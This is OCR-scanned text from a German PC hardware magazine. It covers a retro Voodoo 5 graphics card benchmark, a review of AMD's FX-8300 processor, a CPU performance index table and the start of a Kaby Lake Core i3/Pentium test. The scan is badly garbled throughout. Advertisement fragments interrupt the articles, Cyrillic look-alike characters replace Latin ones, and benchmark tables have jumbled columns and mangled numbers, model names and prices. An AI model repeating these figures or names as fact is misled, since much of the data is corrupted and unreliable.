so schnell sein. Ist das nicht der Fall, re- 
gieren andere Limits. Die V5 6000 stellt 
indessen 2,2x so viel Leistung zur Verfü- 
gung wie die V5 5500 und deklassiert 
daher auch unsere 210-MHz-Version, 
wurde von uns aber noch nicht getestet. 


Fangen wir bei der 3dfx-Spielwiese 
(1999-2000) an. Hier erblicken wir die 
höchsten Bildraten und eine gute Vor- 
stellung der Voodoo 5. Die übertaktete 
Karte skaliert ab 1.024 x 768 fast immer 
linear mit ihrer Rohleistung, teilweise ist 
sie sogar (reproduzierbar) 27 Prozent 
schneller. Vorteile durch 64 MiByte pro 
GPU stellen sich keine ein, die Geforce 
2 GTS stellt mit diesem Takt jedoch kein 
Problem mehr dar. Die V4 4500 könnte 
indessen ebenfalls 200+ MHz vertragen, 
um sich abseits von Glide-Spielen mit 
der GF2 MX anzulegen. Apropos: Spiele 
auf der Unreal-Engine zeigen eindrucks- 
voll, was hardwarenahe Programmie- 
rung schon damals brachte. Vulkan und 
Direct X 12 wandeln auf diesem Pfad. 


Sacrifice, der erste ernsthafte Showcase 
für HW-T&L, zeigt ein völlig anderes 
Bild. In 640 x 480 sind alle Voodoos 
gleich schnell, was zunächst nach einem 
CPU-Limit aussieht. Ergänzende Tests 
haben ergeben, dass es sich faktisch um 
ein AGP-Limit handelt. Die CPU kann die 
Polygondaten zwar schnell genug vorbe- 
reiten, diese bleiben jedoch „vor“ der 
Grafikkarte stecken. GPUs mit HW-T&L 
umgehen diesen Flaschenhals, da sie die 
Arbeit innerhalb des Kerns erledigen 
und dort vorhalten (Vertex Cache). 


Richten wir unsere Augen nach links. 
Das noch heute sehenswerte Giants be- 
nötigt sowohl Polygonpower als auch 
Speicher ferrate - die Achillesferse 
der GF2-Chips -, sodass die übertakte- 
te V5 mit steigender Auflösung Boden 
gutmacht. Ähnlich sieht es beim Ever- 
green Max Payne 2 aus, wo die V5-Chips 
unerwartet flink rechnen. Hier kommt 
die V5 128M OC der sündteuren GF2 
Ultra gefährlich nahe und profitiert in 
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1200p sogar von ihrem Speicher- 
Upgrade. Eine weitere Überra- 
schung tut sich in UT2004 auf: 
Zwar sind die Voodoo-Chips bei 
den Min-Fps vollständig AGP- 
limitiert, schlagen sich ansons- 
ten aber stark. Wir vermuten, 
dass die Engine ein sehr hohes 
Datenaufkommen verursacht, 
sodass die GF2-Chips an ihrer 
Bandbreite verhungern. Dunge- 


120,240,280 
und 360mm 


Sicherheits- 
Schnellverschluss 
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on Siege 2, das neueste Spiel im 
Test, setzt dem Geschehen die 
Krone auf: Die V4 4500 ist in 640 
x 480 schneller als jede V5! Das 
verdankt sie ihrer Fähigkeit, mit 
echtem AGP4x umzugehen. Das 
Spiel ist derart auf HW-T&L ge- 
trimmt, dass weder die Geforce 
2 GTS noch die Radeon DDR er- 
reichbar sind - spielbar ist's auf 


den Voodoos trotzdem. (ns/rv) 


ALPHACOOL 


Retro: Voodoo 5 extrem 

Schön und schnell dank T&L: Viele Jah- 
re nach 3dfx' Ausscheiden stimmte das 
tatsáchlich. Wünschen Sie sich Mess- 
werte von Voodoo 5 6000 bis Radeon 
HD 4670 AGP? Schreiben Sie uns Ihre 
Meinung und Wünsche an rvGpcgh. 
de! Davon unabhängig werden wir 
diesen Artikel online fortführen. 


EISBAER 


ww 


одде 


pe Logo und AGB 
beleuchtet 


THE NEXT STEP IN MODDING AND STYLE 


Eiswind 
Lüfter 


ALPHACOOL - THE COOLING COMPANY 
Е GERMAN ENGINEERING 
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Prozessoren 


AMD- und Intel-Prozessoren, Prozessorkühler, Wärmeleitpasten www.pcgameshardware.de/cpu 


Letzter Versuch: FX-8300 mit vier Modulen für 110 Euro 


Auch wenn AMDs kommende Generation direkt 
vor der Tür steht, wollen wir die FX-Ära nicht ver- 
streichen lassen, ohne auch den letzten interes- 
santen Bulldozer getestet zu haben: den FX-8300. 


L, viel Neues gibt es an der FX-Front 
nicht zu berichten und auch der FX-8300 ist 
kein brandaktuelles Modell. Allerdings macht er 
durch seinen in den letzten Monaten deutlich ge- 
fallenen Preis auf sich aufmerksam: Für 110 Euro 
ist der Einstieg in die Welt der vier Module/Kerne 
respektive acht Threads so günstig wie nie. 


Mit einem Basis-Takt von 3,3 und einem Maximal- 
turbo von 4,2 GHz bietet der FX-8300 im selben 
TDP-Rahmen von 95 Watt 100 respektive 200 
MHz mehr als der von uns lange Zeit empfohlene 


аш aer aktuellen FICTU-L V L 


In der Rolle des Diktators „El Presiden- 
te“ regieren Sie einen karibischen In- 

selstaat. Auch eine Mehrspieler-Option 
sowie ein Endlosmodus sind enthalten. 
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FX-8320E. Das allein jedoch ist aufgrund des frei- 
geschalteten Multiplikators bei FX-Prozessoren 
nicht spannend. Doch inzwischen kostet er auch 
15 Euro weniger als sein etwas energieeffiziente- 
rer „E“-Verwandter und erzielt dank seiner etwas 
hóheren Performance ein deutlich besseres Preis- 
Leistungs-Verhältnis. In dieser Hinsicht schlägt er 
auch den FX-6350 und muss sich im AMD-Lager 
nur den deutlich günstigeren Drei- respektive 
Zweimodulern FX-6300 und Athlon X4 845 (So- 
ckel FM2+) geschlagen geben. Die Spieleleistung 
liegt im gewichteten und normierten Mittel etwa 
auf dem Niveau des i5-2500K, die Anwendungs- 
performance auf dem des i5-3570K. Benchmark- 
ergebnisse finden Sie im Core-i3-/Pentium-Test 
(ab Seite 42), im CPU-Leistungsindex (rechts) 
sowie im Einkaufsführer (Seite 121). (cs) 
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PCGH-Index: Top 40 CPUs 


BESSER > | Normierte Leistung 


Wi Gesamtindex Bi Spieleindex MI Anwendungsindex 


InteCorei7-6050x | awa o Intel Core 15-4690К | BEEN 5. 
3,0 GHz— 10c/20t- РІМ 8,8% | EEA 100% 3,5 GHz - 40/41 - PLV 31,7% 

- 22:37 (3:193 F1:130 sm —— FCB:24097. 77:120 BLD:117 x264:61 z A22:31 (3:90 na — SC2:36 КОВ:12033 7z:288 BLD:368 x264: 163 
Preis: Ca. 1.750 Euro ACS:137 DAIF138 FC4:90 — TW3:135  3DMP: 21.430 LR5:90 CB15: 1.805 yCr: 70 Preis: Ca. 250 Euro ACS:85 Dä FC4:98 — TW3:80 ЗОМР: 7.482 LR5:150 CB15:565 yCr:168 
Intel Core i7-6900K | En _ Intel Core i5-4670K awwal >: 

3,2 GHz - 8c/16t— РІМ 13,1 % 3,4 GHz- 4d4t- РІМ 32,2% | EEA 39,9% 
A22:36 (3:177 PI Om  FCB:24.761 72:126 BLD:143 x264: 72 A22:31 С3:89 na wm КОВ:11739 72:300 BLD:382 x264: 166 
Preis: Ca. 1.100 Euro ACS:136 DAI:136 FC4:89 — TW3:135 ЗОМР: 19.232 185:93 СВ15: 1.483 yCr: 75 Preis: Ca. 240 Euro ACS:84 DAF83  FC4:96 — TW3:80 3DMP:7280 LR5:153 CB15:551 yCr: 173 
Intel Core 17-5960Х | awa ETIN Intel Corei5-6500 | awwal >: 1% 
3,0 GHz - 8c/16t— PLV 12,2 % 3,2 GHz — 4041 — PLV 36,1 % 40,6% 
A22:29 (3:164 F1:115 52:31 _ FCB:23464 72135 BLD:161 264:81 A22:24 (383 ns 50734 FCB:10.566 72:293 BLD:391 ›264:151 
Preis: Са. 1.070 Euro ACS:127 DAI:130 FC4:84 — TW3:124 — 3DMP: 16.203 LR5: 108 CB15: 1.329 yCr: 81 Preis: Ca. 215 Euro ACS:87  DAE95  FC4:99 — TW3:79  3DMP:7.433 LR5:149 CB15:560 yCr:153 
DHT me core i700 ЕНИ ^ ——— AMD FX-9590 wass + 
4,2 GHz - AcfBt — PLV 32,8 % 4,7 GHz- Amft - PIV 41,1% | EEA 
А22:40 (314 na Op — FCB:17733 72:184 BLD:205 x264:94 A22:25 (3% np 50:20  FCB:15.018 72:208 BLD:415 — 3264:138 
Preis: Ca. 375 Euro ACS:131 DAI:138 FC4:131 TW3:126 3DMP:142401R5:118 CB15:974 yCr:98 Preis: Ca. 195 Euro ACS:81 DAF81 ЕС4:79 — TW3:81 ЗОМР: 8.407 LR5:146 CB15:727 yCr:256 
Intel Core i7-6800K | awas Intel Core 17-2600 awwal 5 
3,4 GHz — 60171—Р1/ 27,2% 3,4 бнг – 48t- РІУ 26,4% | GEVA 

- А22:34 (3:14 Р1:104 52:34 К8:19695 72170 BLD:186 264:97 - 40:27 (392 ns win — FCB:13434 72:253 BLD:351 x264:190 
Preis: Са. 445 Euro ACS:130 DAI:131 FC4:93 TW3:118 3DMP:15.6441R5:111 CB15:1.114yCr: 108 Preis: Ca. 290 Euro ACS:85  DAI:89 ЕС4:83 TW3:84 30МР:8971 LR5:175 СВ15:619 уСт:317 
tel Core 17:59300 | 8 8 à Í HU el Core i3-7350 Wasa. 

3,5 GHz — 6c/12t— PV 19,8% 4,2 GHz — 2041 — PLV 36,7 % 
A22:33 (3:14 ni  SC2:32 — FCB:19.845 77165 BLD:198 x264:102 40:27 (3% na 50:48 FCB:8724 7:332 BLD:417 X264:191 
Preis: Ca. 600 Euro ACS:127  DAE130 FC4:94 TW3:119 ` 3DMP: 13.942 LR5: 116 CB15: 1.086yCr: 107 Preis: Ca. 200 Euro ACS:81 Data ЕС4:108  TW3:78 ЗМР: 7.238 LR5:196 CB15:462 yCr:195 
Intel Core i7-5775C | i un, ___ Intel Core 15-3570К aww 5.5 
3,3 GHz- Aci8t - PLV 28,9% | CA 3,4 бнг – 40/41 - РІМ 27,4% BER 
A22:40 (3:19 nä Oo — FCB:14590 72:195 BLD:257 5264125 A22:28 (380 na — SC2:26 СВ:10.891 72:285 BLD:431 ›264:199 
Preis: Ca. 385 Euro ACS:127 ОАЕ 139 FC4:128 TW3:131 ` 3DMP:122781R5:133 СВ15:787 уст: 139 Preis: Ca. 265 Euro ACS:82 Dm FCA:97 ТАЗ:76 3DMP:6.953 LR5:159 СВ15:524 yCr:348 
Intel Core i7-6700K | awa 9 /-| AMD FX-8370 ws 
40GHz-4J8-PV33% | EEV 4,0 GHz - 4m/8t- PLV 44,7% | ЖЯ 
A22:37 (3137 na Om  FCB:16.191 72:195 BLD:222 x264:102 A22:23 Op na 50:14 FCB:13423 72219 BLD:465 x264:154 
Preis: Ca. 345 Euro ACS:120 DAI:133 FC4:124 TW3:119  3DMP:13.028 15: 127 CB15:890 yCr: 106 Preis: Ca. 165 Euro АС5:77 DAE76 ЕС4:75 — TW3:77 ЗОМР: 7.842 LR5:157 CB15:649 yCr: 269 
Intel Core i7-5820K | ВЕНЕ : AMD FX-8350 sa... 
3,3 Ghz- 612ї-Р1у/ 27,8 % | EE 4,0 GHz - 4m/8t — РІМ 48,9% | ED 

- A22:32 (3:148 F1:102 On FCB:18880 72:168 BLD:203 х264:104 = A22:22 Op na 50:14 FCB:13.024 72:220 BLD:466 x264:154 
Preis: Ca. 415 Euro ACS:122  DAE129 FC4:92 TW3:115 ЗОМР: 13.589 LR5: 119 CB15: 1.022 yCr: 110 Preis: Ca. 150 Euro ACS:76 — DAE76 КО&74 — TW3:76 ` 3DMP:7.844 LR5:158 CB15:641 yCr:270 
InteCorei7-4960x | ШШЕН - Intel Core i3-6100 

3,6 GHz - 6c/12t - PLV 9,7 % 3,7 GHz- 2041 -PLV 55,7% | B 

= A22:31 (3137 1:102 wi FCB:19.953 72:159 BLD:219 264112 - A22:23 C3:70 nam 50:40 FCB:7705 72:384 BLD:473 x264: 216 
Preis: Ca. 1.140 Euro ACS:120 DAI:122 FC4:84 TW3:114 ` 3DMP: 13.914 LR: 114 CB15:1.000yCr:207 Preis: Ca. 115 Euro ACS:71 Da 99 — TW3:68  3DMP:6.425 185:230 CB15:405 yCr:221 
Intel Core i7-3960x | eeng DI Amp rx-s300 

3,3 GHz- 6c12t - PLV 10,7% | ЕЙ 3,3 GHz - Aml8t — PLV 58,9 % 

- A22:30 (3131 np wi — СВ:19.757 72:163 BLD:235 x264:123 - A22:21 Ou na 50:10 КВ:11035 72:237 В10:560 x264:183 
Preis: Ca. 1.000 Euro ACS:M8 DAI:118 FCA:83 TW3:112 ` 3DMP: 13.357 LR5: 129 CB15:955 yCr: 215 Preis: Ca. 110 Euro АС5:71 Des ЕС4:65 — TW3:71 ЗМР: 6.638 LR5:177 CB15:530 yCr327 
Intel Core 17-47900 |  — —  —— — . HUN NEU" TTITTZNS] 5 

4,0 GHz AE — PLV 29,8 % 3,5 GHz — 2c/4t — PLV 100% 
A22:34 (3109 nn  SC2:44 FCB:16360 72197 BLD:231 x264:122 42:24 (36 nm SC2:37 — FCB:7301 72:391 BLD:510 x264:250 
Preis: Ca. 350 Euro ACS:110 Dä: 13 FC4:113 TW3:105 — 3DMP:11.9241R5:132 CB15:857 yCr:128 Preis: Ca. 60 Euro ACS:71 Di FC4:87 — TW3:65  3DMP:6.022 LR5:235 CB15:382 yCr:622 
Intel Xeon E3-1230 v5 | ШШЕН w G ___ Intel Core i5-2500K | НЕ: 
3,4 GHz - Aut — PLV 35,9 % 3,3 GHz - 40/41 — РІМ 32,7 % 
A22:31 (3:118 ni 92:39 FCB:14518 72221 BLD:248 x264:114 - A22:25 On nä sm — FCB:10.131 72:351 BlD:493 x264: 237 
Preis: Ca. 280 Euro ACS:109 Där IS FC4:112 TW3:105 — 3DMP:11.6181R5: 140 CB15:799 yCr 117 Preis: Ca. 190 Euro ACS:70 Dm  FCA:81 — TW3:63 — 3DMP:6.192 LR5:186 CB15:462 yCr:393 
Intel Core i7-4770K | aww  /——J^| | AMD FX-8320E ws 
3,5 GHz — 4c/8t — PLV 27,2 % 3,2 GHz — 4m/8t — PLV 50,6 % | EU 

- A (3:119 nm wu  FCB:15.223 72211 BLD:247 X264:129 : 42:20 (3:77; na 50:11 FCB:10.716 72:238 BLD:579 x264:188 

Preis: Ca. 360 Euro ACS:105 DAE 107 FC4:108  TW3:101 ` 3DMP: 11.083 LR5: 142 CB15:797 yCr:134 Preis: Ca. 125 Euro ACS:69 Des FC4:64 — TW3:69 ` 3DMP:6411 LR5:179 CB15:517 yCr: 337 
CGT ме согеі5-7600к | awam. O ___—_ АМР ЕХ-6350 
3,8 GHz – 40/41 — PLV 36,5 % 3,9 GHz — 3ml6t — PLV 55,6 % 

: 22:30 (3:102 F1:68 52:50 КВ:12716 72:256 BLD:332 x264:126 - A22:22 On nu 50:13 ЕСВ:10.164 7:268 BLD:630 x264:209 
Preis: Ca. 255 Euro ACS:100 DAl:111 FC4:117 TW3:95 — 3DMP:9.013 LR5:129 CB15:676 yCr.130 Preis: Ca. 110 Euro ACS:68 Dei КО&74 TW3:62 — 3DMP:6238 LR5:184 CB15:469 yCr: 356 
Intel Core i5-5675C | aww" 7 AMD FX-6300 Gw 

3,1 GHz - 4c/4t — PLV 30,5 % 3,5 GHz - 3m/6t — PLV 64 % 

: A22:39 (39% np 52:44 FCB:11377 72:279 BLD:387 x264:160 - A221 (365 nm 52:11 FCB:9484 — 77:280 BLD:696 264227 
Preis: Ca. 290 Euro ACS:99 — DAE 108 FCA:125  1W3:92 — 3DMP:8.339 LR5:140 CB15:567 yCr:176 Preis: Ca. 90 Euro ACS64 — DAEGA FC4:74 — TW3:61 : 5.670 LR5:196 CB15:422 yCr:410 
Intel Core i7-4820K | En :» AMD FX-4300 Gw. 

3,7 GHz - 4c/8t — PLV 23,9% 3,8 GHz - 2m/4t - PLV 81,6 % 

- A22:30 (3:102  F1:78 50:25 СВ:13.903 72:227 В10:318 x264:167 - A9 (347 nä su i 7:397 BLD:951 х264:313 
Preis: Ca. 370 Euro ACS:105 DAL 109 FC4:92 — TW3:100 ` 3DMP:9.892 LR5:147 CB15:664 yCr: 282 Preis: Ca. 55 Euro ACS:54 — DAE45 ЕС4:65 — TW3:46  3DMP:4.324 LR5:241 CB15:304 yCr:567 
Intel Core i7-3770K | aww so, AMDA10-7870K TB en, 

3,5 GHz - 40/81 — РІМ 23,4% 3,9 GHz — 2m/4t — PLV 35,5 % 

: 22:28 (3:102 nm 50:27 FCB:13908 72:217 BLD:316 ›264:163 : А22:17 (3:44 nä  SC2:12 72471 BLD:825 х264:274 
Preis: Ca. 370 Euro ACS:100 DAI:103 FC4:92 — TW3:95  3DMP:9.926 LR5:154 CB15:679 yCr: 292 Preis: Ca. 125 Euro ACS.48 — DAL49 ЕС4:61 — TW3:43 — 3DMP:4.516 LR5:258 CB15:319 уСт:531 
intel Core i7-990X |Н > AMD Athlon X4845 | MEER 55 

3,46 GHz - 6c/12t — PLV 9,5 96 3,5 GHz - 2mHt — РІМ 69,3 % 

- Am (3:119 np 50:17 FCB:18.987 72232 BLD:243 ›264:139 А22:16 (3:44 nn sn . 72:534 BLD:1040 x264: 268 
Preis: Ca. 940 Euro ACS:95 — DAES2 FCA:72 — TW3:82  3DMP: 12.349 LR5: 157 CB15:822 yCr:322 Preis: Ca. 60 Euro ACS:41 ОАЕд9 FC4:47 TW3:42.— 3DMP:4743 LR5:268 CB15:321 уСт:530 
Intel Core 15-6600 ` ` 57.7: AMD 10-7800 GG en, 

3,5 GHz - Ac/4t — PLV 33,8 % 3,7 GHz - 2m/4t — РІМ 48,5 % 
40:5 С3:89 159 — SC2:40 СВ:11.479 72:281 BLD:360 x264:139 A2:16 Gu Hin wu 7z:494 BLD:891 ›26&2% 
Preis: Ca. 245 Euro ACS:89 Dm FC4:106  TW3:84 З0МР:8.106 LR5:139 СВ15:611 yCr:142 Preis: Ca. 85 Euro ASA DAF46 FC456 — TW3:39 LR5:278 CB15:302 yCr: 565 


Spiele (links): Anno 2205, Assassin's Creed Syndicate, Crysis 3, Dragon Age: Inquisition, F1 2015, Far Cry 4, Starcraft 2 LotV, Witcher 3: gerundete Durchschnitts-Fps in 1.280 x 720 (max. Details außer Post-Processing, Ambient Occlusion, 
AA und АЕ), mehr ist besser. Anwendungen (rechts): Fritz Chessbench, 3D Mark Firestrike Physics, Cinebench R15: Punkte (mehr ist besser), 7-Zip 15.21, Lightroom 5.7.1, Blender 2.76, x264, y-Cruncher: Sekunden (weniger ist besser) 
System: 8 GiByte je Speicherkanal, Turbo und Energiesparfeatures an; Windows 10 64 Bit, Grafikkarte: Geforce GTX 980 Ti @ 1.380/3.900 MHz 


www.pcgameshardware.de 


03/17 | PC Games Hardware 41 


PROZESSOREN | Kaby Lake i3 & Co 


Intel 


auch fü 


г W 


Budget-Gamer? 


Intel spendiert einem Core i3 einen freien Multiplikator und erlaubt den Kaby-Lake-Pentium-CPUs, 


Hyperthreading zu nutzen. PCGH testet, ob die Modelle für Spieler interessant sind. 


pürt Intelschon den Gegenwind 

durch AMDs Zen? Denn die für 
eher hochpreisige CPUs bekannten 
x86-Pioniere setzen mit dem freige- 
schalteten Core i3-7350K auf Extra- 
Performance für den Bereich bis 
200 Euro und schicken sich mit den 
nun Hyperthreading-tauglichen 
Pentium-G-Modellen gar an, den 
Low-Cost-Bereich umzukrempeln. 
Wir testen, ob Spieler von den bei- 
den Neulingen mit Kaby-Lake-Archi- 
tektur profitieren können. 


Dualcores? Ernsthaft? 

Ein großer Prozentsatz der Spieler 
schwört aus gutem Grund bereits 
auf die Kraft vieler Kerne. Neben 
Anwendungen, welche zusätzliche 
Rechenwerke in der Regel leichter 
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nutzbringend ansteuern können, 
sind in den letzten Jahren auch viele 
verbreitete Spiele-Engines stark auf 
Multicore-Einsatz optimiert worden 
- nicht zuletzt aufgrund der acht- 
kernigen Xbox One und Playstation 
4. Während AMDs in Sachen Ge- 
samtleistung zunehmend ins Hin- 
tertreffen geratene FX-Prozessoren 
auch im Bereich unter 150 Euro 
viele Kerne respektive Rechenmo- 
dule boten, beginnt das Quadcore- 
Vergnügen beim Platzhirschen Intel 
erst bei knapp über 170 Euro. Dafür 
gibt's den etwas schwachbrüstigen 
Core 15-6400, der bei Last auf mehr 
als zwei Kernen - dem wichtigsten 
Szenario, bei dem er gegenüber 
dem Core i3 (oder neuerdings dem 
Pentium G) Vorteile haben kónnte 


- nur mit maximal 3,2 GHz läuft. 
Im schlimmsten Belastungsfall sind 
sogar nur 2,7 GHz erlaubt. Immer- 
hin: Der Core i5-7400 (Kaby Lake, 
KBL) taktet mit 3,0 (Basis) und bei 
Last auf mehr als zwei Kernen mit 
3,3 (ác) oder 3,4 GHz (3c). Dafür 
kostet er aktuell auch mindestens 
190 Euro. Doch nicht jeder spielin- 
teressierte Nutzer kann oder will so 
viel Geld nur für einen Prozessor 
ausgeben, auch wenn es in mehr 
als nur vereinzelten Titeln spürbare 
Vorteile in Sachen Spielbarkeit gibt. 


Hier kommen zunächst - zumindest 
aufseiten Intels - der Core i3 oder 
der Pentium ins Spiel. Beide ließen 
sich bis dato kaum nennenswert 
übertakten (Ausnahme: Pentium AE 


3258 mit freiem Multi) und mussten 
im Falle des Pentium als Dual-Core- 
CPU mit nur zwei Threads auskom- 
men. Speziell Letztere bedienen 
dafür Budgets bis hinab zu rund 
55 Euro, den Core 13-6100 gibt's für 
rund 115 Euro. 


Hyperthreading und OC 
Auch wenn Kaby Lake nicht gerade 
den Ruf als spannendster Prozessor 
der neueren Intel-Geschichte hat, 
tut sich gerade im Low-Cost-Bereich 
einiges: Mit dem Core i3-7350K gibt 
es wieder einen frei übertaktbaren 
Dualcore-Prozessor und die Penti- 
um-Riege wird durch Hyperthrea- 
ding (HTT) aufgewertet, welches 
den beiden Kernen nun vier statt 
zuvor zwei Threads erlaubt. 
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Kaby Lake i3 & Co | PROZESSOREN 


Günstige Prozessoren: AMD mit mehr Auswahl bei gutem Preis-Leistungs-Verhàltnis 


255 
# | Prozessor esamt-Index iele-Index | Leistungs- | Circa-Preis 
Se O P Gesamt-Index | Spiele-Index | Leistungs- | Circa-Prei: 
= an 7 Preis/Leistung | Preis/Leistung | index in Euro 
225 Wi / Intel Pentium G4560 100,0% 100,0% 43,8% 60 
210 — Trendlinie (alle Desktop-CPUs) P4 2 | AMD FX-4300 81,6% 743% 31636 55 
195 -- Trendlinie (CPUs im Diagramm) ^4 
180 7 3 | AMD Athlon X4 845 69,3% 60,9% 28,9% 60 
= 165 P d 4 | AMD FX-6300 64,0% 56,1% 40,0% 90 
E p " 
S 150 © | 5 | Intel Pentium 64400 63,4% 517% 23,6% 55 
Se 
7 6 | AND ЕХ-8300 58,9% 49,1% 44,2% 110 
PEEL 2 ` i % 
S 1% [7] Ф [z] Intel Core i3-6100 55,7% 54,2% 46,2% 115 
o 105 өө 8 | AND ЕХ-6350 55,6% 47,9% 42,3% 110 
ü 90 = o 9 | AMD A8-7600 54,1% 47,7% 28,3% 75 
75 z = 10 | AMD FX-8320E 50,6% 42,1% 43,2% 125 
60 o o © 11 | AMD FX-8350 48,9% 39,7% 49,6% 150 
45 12 | AMD A10-7800 48,5% 42,6% 28,6% 85 
30 13 | AND ЕХ-8370 447% 36,4% 50,0% 165 
15 14 | AMD FX-9590 411% 33,2% 54,1% 195 
0 0 10 20 30 40 50 60 70 | Intel Core i3-7350K 36,7% 35,7% 52,9% 200 
8 : : : Intel Core i5-7600K 36,5% 32,89 65,29 255 
Normierter, gewichteter PCGH-Leistungsindex e iE S i 
= H H D 15-! o [7 0 
(jeweils acht Spiele und Anwendungen) in Prozent EE SES 3205 541% 2 
Basis: PCGH-Leistungsindex in Relation zum bei Redaktionsschluss aktuellen Marktpreis. Trendlinie durchgezogen = alle aktuellen, von PCGH getesteten Prozessoren, Trendlinie gestrichelt = Prozessoren im Diagramm/Tabelle rechts. 


Core i3-7350K & Pentium G4560: Spieleleistung 


Spiele-Index (normiertes, gewichtetes Mittel aus acht Titeln) 


Core i3-7350K & Pentium G4560: Anwendungen 


Anwendungs-Index (normiertes, gewichtetes Mittel aus acht Programmen) 


Intel Core i7-5775C (3,3+ GHz – 4/81 
Intel Core i7-6700K (4,0+ GHz — Ac/8t) 
Intel Core i7-4790K (4,0+ GHz — 4c/8t) 
Intel Core i5-5675C (3,1+ GHz — 4c/4t 
Intel Core i7-4770K (3,5+ GHz — Ac/8t) 


AMD Athlon ХА 845 (3,5+ GHz 2m/4t) EEE 33,5 (+56 %) 
AMD A10-7800 (3,7+ GHz- 2m/4t) EEE 33,2 (+54 %) 


Intel Core i7-7700K (4,2+ GHz - Ad8t) En 08,2 (+357 %) 
95,6 (+345 90) 
91,4 (+325 90) 
31,6 (+280 90) 
78,4 (+265 %) 
EN 76,9 (4258 *)) 


Intel Core i7-7700K (4,2+ GHz — 4c/8t) 
Intel Core i7-6700K (4,0+ GHz — 4c/8t) 
Intel Core i7-4790K (4,0+ GHz - 4c/8t) 
Intel Core i7-5775C (3,3+ GHz — 4c/8t) 
Intel Core i7-4770K (3,5+ GHz — 4c/8t) 
Intel Core i7-990X (3,46+ GHz — 6c/12t 


AMD Athlon X4 845 (3,5+ GHz — 2m/4t) 
AMD A10-7800 (3,7+ GHz – 2m/At) 


ННН 65,8 (20 90) 
ННН 60,7 (+261 %) 
НН 57,1 («240 %) 
ШН 547 (-226 90) 
ШН 53,3 («217 90) 
НИ 2,5 (+213 %) 


Intel Core i5-7600K (3,8+ GHz - 4c/4t) Eu 76,8 (+257 %) Intel Core i5-7600K (3,8+ GHz – 44 | 47,9 (+185 96) 
Intel Core i7-4820K (3,7+ GHz – 4c/3t) En 73,0 (+240 90) AMD FX-9590 (4,7+ GHz — Am/8t) ШЕН 46,2 (+175 96) 
Intel Core i7-3770K (3,5+ GHz – 4/81) | 70,4 (+227 %) Intel Core i7-3770K (3,5+ GHz – 4c/8t) EEE 45,5 (+171 %) 
Intel Core i5-6600K (3,5+ GHz – 44) | 67,0 (+212 %) Intel Core i7-4820K (3,7+ GHz – 4с/8:) EEE 45,4 (+170 96) 
Intel Core i3-7350K (4,2 GHz — 2c/4t) XXX 65,5 (4-205 96) Intel Core i5-6600K (3,5+ GHz – 4c/4t) | 43,7 (+160 96) 
Intel Core i5-4690K (3,5+ GHz – 4c/4t) EEE 65,1 (4-203 96) AMD FX-8370 (4,0+ GHz — 4m/8t) [EFE 42,2 (+151 90) 
Intel Core 17-990Х (3,46+ GHz – 6c/12t) Eu 04,4 (4-200 %) AMD FX-8350 (4,0+ GHz – 4m/8t) Eu 42,0 (+150 96) 
Intel Core i5-4670K (3,4+ GHz – 4/41) Em 63,8 (+197 96) Intel Core 15-5675С (3,1+ GHz — 4c/4t) E 41,7 (+148 96) 
Intel Core i5-6500 (3,2+ GHz – 4g4t) [Xm 63,2 (+194 %) Intel Core i5-4690K (3,5+ GHz – 4c/4t) EEE 41,0 (+144 %) 
Intel Core i7-2600K (3,4-- GHz — 4c/8t) EX 61,4 (+186 %) Intel Core i7-2600K (3,4+ GHz — 4/81) Eu 40,8 (4-143 96) 
Intel Core i5-3570K (3,4+ GHz – 4/4) XXX 61,2 (+185 96) Intel Core i5-6500 (3,2+ GHz – 44) | 40,6 (+142 %) 
AMD FX-9590 (4,7+ GHz — 4m/8t) [Xu 59, (4-176 96) Intel Core i5-4670K (3,4+ GHz — 4/41) EEE 39,9 (+138 96) 
Intel Core i3-6100 (3,7 GHz- 2c/4t) | 57,2 (+166 96) Intel Core i5-3570K (3,4+ GHz — 4c/4t) EEE 36,4 (+117 %) 
AMD FX-8370 (4,0+ GHz — 4m/8t) [XR 55,1 (+156 96) AMD FX-8300 (3,3+ GHz – 4m/8t) EEE 36,3 (+116 96) 
Intel Pentium G4560 (3,5 GHz — 2c/4t) EX 55,0 (+156 96) AMD FX-8320E (3,2+ GHz - Am/8t) SSE£III uUTUUÜ 35,6 (+112 96) 
AMD FX-8350 (4,0+ GHz – 4m/8t) ШЕ 54,6 (+154 96) Intel Core i3-7350K (4,2 GHz – 2c/4t) o 34,1 (+103 96) 
Intel Core i5-2500K (3,3+ GHz – 4с/4) EEE 51,8 (+141 %) AMD FX-6350 (3,9+ GHz- 3m/6t) EEE 33,1 (+97 96) 
AMD FX-8300 (3,3+ GHz — Am/8t) pu 49,5 (+130 90) Intel Core i5-2500K (3,3+ GHz – 4/4) ШЕ 31,6 (+88 96) 
AMD FX-6350 (3,9+ GHz- 3m/6t) Xu 48,3 (+125 %) AMD ЕХ-6300 (3,5+ GHz — 3m/6t) | 30,3 (+80 96) 
AMD ЕХ-8320Е (3,2+ GHz – 4m/8t) [ERE 48,2 (+124 %) Intel Core i3-6100 (3,7 GHz - 2c/4t) EEE 29,8 (+77 96) 
AMD FX-6300 (3,5+ GHz - 3m/6t) EEE 46,3 (+115 %) Intel Pentium G4560 (3,5 GHz — 2c/4t) EEE 26,9 (+60 96) 
AMD FX-4300 (3,8 GHz – 2m/4t) EN 37,5 (+74 %) AMD A10-7870K (3,9+ GHz — 2m/4t) EEE 23,2 (+38 90) 
AMD A10-7870K (3,9+ GHz – 2m/4t) EEE 36,0 (+67 96) AMD ЕХ-4300 (3,8+ GHz – 2m/4t) EEE 22,8 (+36 %) 


EN 22,0 (+31 96) 
EE 21,8 (430 %) 


AMD А8-7600 (3,1+ GHz —2m/4t) EEE 32,8 (4-53 96) AMD А8-7600 (3,1+ GHz – 2m/4t) ERR 21,4 (+27 %) 
Intel Pentium G4400 (3,3 GHz – 2c/2t) | 26,1 (+21 96) Intel Pentium G4400 (3,3 GHz – 2c/2t) Eu 20,0 (+19 96) 
Core 2 Quad 06600 (2,4 GHz – Ac/4t) EEE 21,5 (Basis) Core 2 Quad 06600 (2,4 GHz - 4c/4t) Xu 16,8 (Basis) 
Core 2 Duo E8500 (3,16 GHz – 26/21) ВЕ 11,8 (-45 96) Core 2 Duo E8500 (3,16 GHz — 2c/2t) EEE 11,8 (-30 96) 
Core 2 Duo E6600 (2,4 GHz — 2с/21) ВЕ 9,1 (-58 96) Core 2 Duo E6600 (2,4 GHz — 2/21) ВЕ 8,8 (-48 96) 


System: Intel Х99/79/2170/297/277, AMD 990FX/A88X, 8 GiB RAM pro Speicherkanal 
(Geschw. jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz 
